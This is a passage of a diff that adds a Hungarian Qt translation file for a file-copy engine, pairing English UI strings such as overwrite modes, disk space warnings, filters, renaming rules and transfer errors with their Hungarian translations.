+ <source>Overwrite if newer</source>
+ <translation>Felülír, ha újabb</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation>Felülír, ha régebbi</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation>Automatikus</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation>Szekvenciális</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation>Párhuzamos</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation>Beállítási hiba</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation>A beállítási motor nincs betöltve. A szűrők elérése nem lehetséges</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation>A beállítási motor nincs betöltve, a szűrők elérése nem lehetséges</translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation>Lemezterület</translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation>Több szabad helyre van szükséged ezen a lemezen az átvitel befejezéséhez</translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation>Folytatás</translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation>Mégse</translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation>%1 meghajtón %2 hely van, de %3 szükséges</translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation>Hiba a mappával</translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation>Mappa neve</translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation>%1 - másolás</translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - másolás (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation>Hiba</translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation>Átnevezés speciális karakterek használatával</translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation>%1 - másolás</translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - másolás (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation>Hiba</translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation>Átnevezés speciális karakterek használatával</translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation>Szűrők üzenet</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation>Keresés:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation>Keresés típusa:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation>Nyers szöveg</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation>Egyszerűsített regex</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation>Perl regex</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation>Alkalmazás ezen:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation>Fájl</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation>Mappa</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation>Fájl és mappa</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation>A teljes szövegnek egyeznie kell</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation>A tesztszöveg megegyezik a regexszel</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation>Ellenőrzés</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation>A regex érvényes</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation>Próbaszöveg:</translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation>Szűrők</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation>Kizáró szűrők</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translation>Használt szűrők</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translation>Nincs = Mindet használ</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation>Nyers szöveg</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation>Egyszerűsített regex</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation>Perl regex</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation>Csak fájlon</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translation>Csak mappán</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation>Teljes egyezés</translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation>Mappa már létezik</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation>%1 - másolás</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - másolás (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
+ <translation>Hiba</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation>Átnevezés speciális karakterek használatával</translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation>Elem másolása vagy mozgatás nem lehetséges a hibás kényszerített módban: %1</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation>Átviteli lista mentése nem lehetséges: %1</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation>Hiba a fájl olvasásánál vagy a fálméret 0</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translation>Hibás fejléc: &quot;%1&quot;</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation>Az átviteli lista kevert módban van, de ez a példány nincs</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation>Az átviteli lista másolás módban van, de ez a példány nincs</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
+ <translation>Az átviteli lista mozgatás módban van, de ez a példány nincs</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation>Néhány hiba történt a sorelemzés során</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation>Az átviteli lista megnyitása nem lehetséges: %1</translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation>Mappa létrehozása nem lehetséges</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>Unable to set the access-right</source>
+ <translation type="obsolete">Jogok beállítása nem lehetséges</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation>Eltávolítás nem lehetséges</translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation>Belső hiba, kérlek jelentsd!</translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation>Belső hiba történt a forrásfájl olvasásakor: a blokkméret tartományon kívüli</translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation>A forrásfájl olvasása nem lehetséges:</translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translation>A fájl olvasás során megcsonkult, valószínűleg adatváltozás miatt</translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation>Átnevezési szabályok</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translation>Első átnevezés</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translation>%name% - másolás</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Változók: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; az eredeti fájlnévhez&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translation>Második átnevezés</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation>%name% - másolás (%number%)</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Változók: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; az eredeti fájlnévhez&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; az extra számhoz&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation>%1 - másolás</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - másolás (%2)</translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation>Feketelistás mappa</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation>%1 - másolás</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - másolás (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation>Ez nem mappa</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation>A mappa létezik</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation>A mappa nem olvasható</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation>Probléma a névkódolással</translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation>Fájl nem található</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation type="unfinished">%1 meghajtó</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation type="unfinished">Ismeretlen mappa</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation type="unfinished">gyökér</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished">%1 - másolás</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished">%1 - másolás (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation type="unfinished">A forrás nem létezik</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation type="unfinished">Mappaművelet nem lehetséges</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation>Átnevezés speciális karakterek használatával</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation type="unfinished">A forrásfájl nem létezik</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation type="unfinished">Egy másik fájl létezik ugyanazon a helyen</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation type="unfinished">A checksumok nem egyeznek meg</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation type="unfinished">Belső hiba: a cél nincs bezárva</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation type="unfinished">Belső hiba: az átvitt méret nem egyezik meg</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation type="unfinished">Belső hiba: a puffer nem üres</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation>Útvonal feloldási hiba (Üres útvonal)</translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation>Belső hiba, kérlek jelentsd!</translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation>A forrásfájl olvasása nem lehetséges:</translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation>Fájl megsérült az olvasás közben, valószínűleg adatváltozás</translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation>Átvitel</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation>Mozgassa át az egész mappát</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation>Fájljogok átadása</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
+ <source>Keep the file date</source>
+ <translation>Fájl dátumának megtartása</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation>Átvitel automatikus indítása</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation>Kisebb teljesítmény, ha be van jelölve</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation>Kövesse a szigorú sorrendet</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation>Hiba és ütközés</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation>Mappa hiba esetén</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation>Fájl hiba esetén</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation>Fájl ütközés esetén</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation>Mappa ütközés esetén</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation>Célmappa létezésének ellenőrzése</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation>Átnevezési szabályok</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation>Részben átvitt fájlok törlése</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation>Eredeti cél átnevezése</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation>Irányítás</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation>Checksum</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation>Csak hiba után</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation>Hagyja ki, ha nem lehetséges</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation>Checksumok ellenőrzése</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation>Teljesítmény</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation>Párhuzamos puffer</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation>KB</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation>Blokkméret</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation>Szekvenciális puffer</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation>OS puffer engedélyezése</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation>OS buffer csak akkor, ha kisebb mint</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation>Átviteli algoritmus</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation>Párhuzamosítás, ha kisebb mint</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation>Inode szálak</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
+ <translation>Egyéb</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation>Lemezterület ellenőrzése</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>Use this folder when destination is empty</source>
+ <translation type="obsolete">Használja ezt a mappát, ha a cél üres</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation>Tallózás</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation>Szűrők</translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation>Hiba a fájllal</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation>Hiba</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation>Méret</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation>Módosítva</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation>Fájlnév</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation>Cél</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation>Mappa</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation>&amp;Mindig hajtsa végre ezt a műveletet</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation>Próbálja meg emelt jogosultsággal</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation>Tegye legalulra</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation>Újra</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;Kihagy</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation>M&amp;égse</translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation>A fájl létezik</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation>Forrás</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation>Cél</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation>Méret</translation>
+ </message>
+ <message>
